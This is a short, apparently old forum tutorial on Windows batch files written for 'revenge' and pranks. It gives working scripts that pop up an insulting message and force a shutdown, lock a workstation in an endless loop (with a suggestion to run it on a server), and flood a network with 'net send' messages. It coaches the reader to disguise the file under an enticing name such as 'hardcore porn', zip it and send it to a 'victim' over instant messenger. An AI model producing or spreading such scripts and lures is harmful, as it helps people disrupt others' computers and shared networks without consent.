PART 1

A little note - this will not show you how to harm someone's computer.

So today, I thought I'd familiarize myself with some commands for .bat files.
In this tutorial you will learn some basic commands + how to get revenge using them.

You need: A computer running Windows XP (everything else you need is included)
An instant messanger, in this tutorial I'll be using MSN.

Useful commands for bat files:
-l - Log off
-s - Pain old shutdown
-r - Restart
-a - Abort Shutdown
-f - Shutdown all applications without warning

echo msgbox" " >C:\1.vbs
C:\1.vbs
cls

^ Makes a popup box - insert text inbetween the quotation marks.

How to piss someone off!
1) Right click your desktop and click "New" then "Text document" (screenshot here)
2) Copy and paste this (or make your own using the above commands)

@echo off
title Hello
echo msgbox"You and your computer are going down, you will regret being an ***hole." >C:\1.vbs
C:\1.vbs
cls
shutdown -s -t 15 -c "Goodbye."

This will first give the user that opens the file a popup saying "You and your computer are going down, you will regret being an ***hole.", it will then turn off their computer.

But wait! All you have now is a .txt file! This will not do a thing if you send it to someone! On the menu of the text editer click "File" then "Save as" then type the filename as funny.bat

You can name the file anything you want, but it must end with .bat
The best file names are "funny" or "hardcore porn" in my opinion, as people open stuff like that . Save the bat file to your desktop.

So now you've got your bat file right, all you need todo is send it on.
First though, I would reccomend 'compressing' the file, so you can send it through instant messagers ... right click your bat file, then click "Send to" then click "Compressed (zipped) Folder"

This will create a compressed folder on your desktop (or where ever you saved the .bat) that contains the bat file.

Now ~ all you have todo is send it to your victim.


PART 2

Ok, open notepad and add this code:

@ECHO OFF
:START
rundll32 user32.dll,LockWorkStation
GOTO :START

Then save as whatever.bat

This one locks the work station, and as soon as somebody trys to log back on, it logs them back off again in about half a second, try to get this running on a server, only way to stop it is to restart, and if the server has to restart, then that f**ks the network for a bit Big Grin

---------------------------------------------------------------------------------------

And this one has to one of the most annoying batch files to run on a network, add this code to a batch file:

@ECHO OFF
:START
net send *
GOTO :START

Again save as whatever.bat

This program sends a message of your choice to EVERY computer on the network that is running the messenger service, NT and XP usually always have this running, so again run it at school and piss everybody off.
Or you could combine to two programs so that they cannot even log back on to stop it from sending thousands of messages lol. play around, have fun.

Also if you want to stop the messenger service from running so you dont receive the messages no more do this:

Start > Run > services.msc

Find the messenger service and stop it from running.
